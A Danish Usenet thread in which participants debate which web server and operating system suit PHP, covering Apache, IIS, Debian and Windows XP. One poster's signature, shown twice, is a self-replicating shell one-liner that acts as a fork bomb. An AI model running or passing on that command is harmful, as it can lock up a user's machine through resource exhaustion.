---

Hej.

Jeg har et par maskiner i et mindre netværk. Mit spørgsmål er, hvilken
webserver vil jeg med størst fordel kunne benytte problemfrit, hvis jeg
ønsker at lave mine sider i PHP?

Mvh
Alexandar

---

In news:kAdfa.6$og1.4@news.get2net.dk,
Alexandar [4200] <alexandar@lackovic.dk> wrote:

> Jeg har et par maskiner i et mindre netværk. Mit spørgsmål er, hvilken
> webserver vil jeg med størst fordel kunne benytte problemfrit, hvis
> jeg ønsker at lave mine sider i PHP?

Så vidt jeg husker understøtter PHP kun Apache... Og jeg kan personligt
heller ikke forestille mig at bruge andre http servere... Den kører også
næsten på alt (jeg mener at have hørt nogen fik den til at køre på en palm?)
:)

--
Michal
[ echo "\$0&\$0" > _; chmod +x _; ./_ ]

---

"Michal" <nonexistant@fakedomain.INVALID> skrev i
dk.edb.internet.webdesign.serverside.php:

>Så vidt jeg husker understøtter PHP kun Apache...

Det er ikke tilfældet. Se her:
http://www.php.net/manual/en/installation.php

>Og jeg kan personligt heller ikke forestille mig at bruge andre http servere...

Det er så en anden snak, men andre kan have bestemte grunde til at
køre f.eks. IIS eller lignende på deres server.

--
Jens Tønnesen - http://www.pressefoto.dk

---

"Jens Tønnesen" <01-2003nospam@pressefoto.dk> skrev i en meddelelse
news:dqrq7vc0m7t658bmcug4h4sod1o2vqtqc4@4ax.com...
> Det er så en anden snak, men andre kan have bestemte grunde til at
> køre f.eks. IIS eller lignende på deres server.

Men dog vil jeg vove og påstå at det kører best på en server med Apache. Jeg
har selv oplevet små problemer med en ISS server.

Tror jeg taler for mange når jeg siger at det bedste nok ville være en
computer med et OS baseret på Unix med Apache. Jeg er dog ikke så vild til
Unix selv så jeg vælger at kører Windows XP med Apache indtil jeg får sat
mig selv lidt mere ind i det.


----
Mvh Kasper

---

In news:3e7d7f70$0$42637$edfadb0f@dread11.news.tele.dk,
Kasper Johansen <kajo08@ihnykf.dk> wrote:

> "Jens Tønnesen" <01-2003nospam@pressefoto.dk> skrev i en meddelelse
> news:dqrq7vc0m7t658bmcug4h4sod1o2vqtqc4@4ax.com...
>> Det er så en anden snak, men andre kan have bestemte grunde til at
>> køre f.eks. IIS eller lignende på deres server.
>
> Men dog vil jeg vove og påstå at det kører best på en server med
> Apache. Jeg har selv oplevet små problemer med en ISS server.

Ja, så vidt jeg lige så kan man kun køre PHP i CGI mode på en IIS...


> Tror jeg taler for mange når jeg siger at det bedste nok ville være en
> computer med et OS baseret på Unix med Apache.

100% enig.


> Jeg er dog ikke så
> vild til Unix selv så jeg vælger at kører Windows XP med Apache
> indtil jeg får sat mig selv lidt mere ind i det.

Det lyder godt :)

--
Michal
[ echo "\$0&\$0" > _; chmod +x _; ./_ ]

---

"Michal" <nonexistant@fakedomain.INVALID> skrev i
dk.edb.internet.webdesign.serverside.php:

>In news:3e7d7f70$0$42637$edfadb0f@dread11.news.tele.dk,
>Kasper Johansen <kajo08@ihnykf.dk> wrote:

>> Men dog vil jeg vove og påstå at det kører best på en server med
>> Apache. Jeg har selv oplevet små problemer med en ISS server.

>Ja, så vidt jeg lige så kan man kun køre PHP i CGI mode på en IIS...

Hvis du checker den side, så jeg henviste til i mit indlæg, så vil du
se, at man kan køre PHP på IIS både med CGI og med ISAPI-modulet.

Jeg har ikke prøvet, hvordan det virker, da jeg selv sværger til
Apache, men PHP er altså ikke noget, der kun virker med denne server,
ligesom det heller ikke kræver et UNIX-baseret OS.

Og det er da netop en stor styrke ved PHP, at det ikke er begrænset
til bestemte operativsystemer og til bestemte servere.

At PHP så ofte nævnes i samme åndedrag som Apache (og UNIX) skyldes
selvfølgelig, at det oprindelig er udviklet i Unix-miljøet og Apache
ligesom PHP er barn af open-source-tankegangen. Men lad da endelig det
være et adelsmærke og ikke en begrænsning

Jeg sætter FUT til news:dk.edb.internet.webdesign.serverside.php, da
denne tråd ikke har så meget med ASP m.m. at gøre.

>Det lyder godt :)

--
Jens Tønnesen - http://www.pressefoto.dk

---

"Kasper Johansen" <kajo08@ihnykf.dk> skrev..."

> Tror jeg taler for mange når jeg siger at det bedste nok ville være en
> computer med et OS baseret på Unix med Apache. Jeg er dog ikke så vild til
> Unix selv så jeg vælger at kører Windows XP med Apache indtil jeg får sat
> mig selv lidt mere ind i det.

Det tager nogenlunde en halv eftermiddag at sætte en server op med
debian/apache/php/mysql hvis man gider at læse debianguiden.dk :)

mvh

Peter Farsinsen

---

Peter Farsinsen skrev:
> Det tager nogenlunde en halv eftermiddag at sætte en server op med
> debian/apache/php/mysql hvis man gider at læse debianguiden.dk :)

Det svære er jo ikke at smide en distribution på og få installeret software
det svære ligger i at "drifte" serveren, altså at få opdateret software og
være sikker på at man har et sikkert miljø.

--
Jakob Andersen

---

Jakob Andersen wrote:

> Det svære er jo ikke at smide en distribution på og få installeret
> software det svære ligger i at "drifte" serveren, altså at få
> opdateret software og være sikker på at man har et sikkert miljø.

Og det _har_ man ved at bruge XP?

--
Take Care
Kim Emax - Freelance programmør
http://www.emax.dk - http://www.ayianapa.dk
Køb din vin online på http://www.gmvin.dk,
Danmarks måske mest avancerede VinWebShop

---

Kim Emax skrev:
> Jakob Andersen wrote:
>> Det svære er jo ikke at smide en distribution på og få installeret
>> software det svære ligger i at "drifte" serveren, altså at få
>> opdateret software og være sikker på at man har et sikkert miljø.
>
> Og det _har_ man ved at bruge XP?

Det har jeg aldrig sagt, men hvis man er mere fortrolig med windows er
det et bedre valg end at tro at man kan sætte en web/db/etc. server op
på en formiddag blot fordi debian har et installationsprogram der er til
at få til.

--
Jakob Andersen

---

"Jakob Andersen" <jakob@effectus.dk> skrev..."

> Det har jeg aldrig sagt, men hvis man er mere fortrolig med windows er
> det et bedre valg end at tro at man kan sætte en web/db/etc. server op
> på en formiddag blot fordi debian har et installationsprogram der er til
> at få til.

At man er mere fortrolig med windows ændre ikke på at både apache og php har
rod i unix miljøet, og derfor også er skrevet til de samme servere. Ja ja,
man KAN bruge dem på windows, men de er absolut ikke tiltænkt dette miljø,
det ser man da også ret tydeligt med div. små problemer der er ved at køre
php/apache på win.

Debianguiden.dk er skrevet af folk der lever og ånder netop for at udforske
og få den bedste server sat sammen, det gælder jo i det hele taget for
pakkesystemet der er i debian at ingenting bliver stable før det virkelig er
stable. Om man skal ændre i httpd.conf på sin debian spand, eller sin
windows spand er derfor et spørgsmål om at man lige læser kapitlet om
editore ... sjovt nok også på debianguiden.dk!

....

Peter

---

Peter Farsinsen skrev:
> "Jakob Andersen" <jakob@effectus.dk> skrev..."
>> Det har jeg aldrig sagt, men hvis man er mere fortrolig med windows er
>> det et bedre valg end at tro at man kan sætte en web/db/etc. server op
>> på en formiddag blot fordi debian har et installationsprogram der er til
>> at få til.
>
> At man er mere fortrolig med windows ændre ikke på at både apache og php har
> rod i unix miljøet, og derfor også er skrevet til de samme servere.

Øhh... Jo, jeg må nok lige indrømme at jeg blot responderede på det ene indlæg
og ikke lige har overblik over resten af tråden, så derfor opponerede jeg mest
imod at "man på en formiddag kunne sætte XXX op med debian", det er "farligt"
at sætte servere på nettet ligegyldigt om det er Windows, Unix, Linux, Solaris
eller hvad man nu kan finde på, hvis man ikke lige tager sig den tid det tager
at sætte sig ind i hvad man rent faktisk laver. Og _hvis_ man er vant til MS
Windows så vil det nok være et godt sted at starte og når så ens krav til per-
formance samt ens personlige kompetence indenfor "serverteknologi" er blevet
større så kan man kaste sig ud i lige det OS man lyster.

--
Jakob Andersen

---

"Jakob Andersen" <jakob@effectus.dk> skrev..."

> Øhh... Jo, jeg må nok lige indrømme at jeg blot responderede på det ene
indlæg
> og ikke lige har overblik over resten af tråden, så derfor opponerede jeg
mest
> imod at "man på en formiddag kunne sætte XXX op med debian", det er
"farligt"
> at sætte servere på nettet ligegyldigt om det er Windows, Unix, Linux,
Solaris
> eller hvad man nu kan finde på, hvis man ikke lige tager sig den tid det
tager
> at sætte sig ind i hvad man rent faktisk laver. Og _hvis_ man er vant til
MS
> Windows så vil det nok være et godt sted at starte og når så ens krav til
per-
> formance samt ens personlige kompetence indenfor "serverteknologi" er
blevet
> større så kan man kaste sig ud i lige det OS man lyster.

Jamen jeg kan skam godt følge dig, der er bare lige et men ... når man koder
php til en server der er baseret på win er der ufattelig mange hensyn man
skal tage i sin kode. Derfor mener jeg at det er bedre at hoste på en unix
baseret server fra starten af, og som sagt er debianguiden.dk lavet netop
den den type folk der ikke vil hoste på win, men ikke har indsigt i den
store unix verden.

Peter Farsinsen

---

Peter Farsinsen skrev:
> Jamen jeg kan skam godt følge dig, der er bare lige et men ... når man koder
> php til en server der er baseret på win er der ufattelig mange hensyn man
> skal tage i sin kode.

Hvilke hensyn er det? Jeg troede kun det var performancemæssigt der var
problemer når man kører PHP på windows.

--
Jakob Andersen

---

"Jakob Andersen" <jakob@effectus.dk> skrev..:"

> Hvilke hensyn er det? Jeg troede kun det var performancemæssigt der var
> problemer når man kører PHP på windows.

f.eks. -> http://www.php.net/manual/en/ref.mail.php

mvh

Peter Farsinsen

---

On Sat, 29 Mar 2003 13:52:25 +0100, "Peter Farsinsen"
<spam@_S_P_A_M_farsinsen.dk> wrote:

>> Hvilke hensyn er det? Jeg troede kun det var performancemæssigt der var
>> problemer når man kører PHP på windows.
>f.eks. -> http://www.php.net/manual/en/ref.mail.php

Hvorledes giver det problemer? Det er jo typisk blot en konfiguration
i php.ini, og irrelevant for koden - medmindre, man begynder med
systemspecifikt kode som sendmail-options eller lignende.

På den anden side, så beder man også selv om problemer i så fald, på
samme måde som at man ikke kan anklage ét operativsystem for at være
mindre robust, bare fordi man fx laver konkrete systemkald eller
lignende.

Jeg foretrækker at køre Apache/PHP under Linux eller FreeBSD, men med
tiden bliver det mere og mere sjældent, at jeg har oplevet problemer
ved fx at flytte koden over på fx en maskine med Windows. Jeg har
heller ikke haft problemer med fx Header() med PHP som modul til
Apache under Windows.

Hvis jeg skal lave PHP-stunts med fx PECL, vil jeg nok foretrække at
holde systemet mere i hånden, men ellers bør det ikke betyde noget.


I det aktuelle tilfælde har jeg til gengæld erfaret problemer med at
mail() altid returnerer false under FreeBSD... (ved dog ikke om det er
rettet i PHP4.3.x)

--
- Peter Brodersen

---

Jakob Andersen wrote:

> Hvilke hensyn er det? Jeg troede kun det var performancemæssigt der
> var problemer når man kører PHP på windows.

F.eks. giver visse header() problemer...

--
Take Care
Kim Emax - Freelance programmør
http://www.emax.dk - http://www.ayianapa.dk
Køb din vin online på http://www.gmvin.dk,
Danmarks måske mest avancerede VinWebShop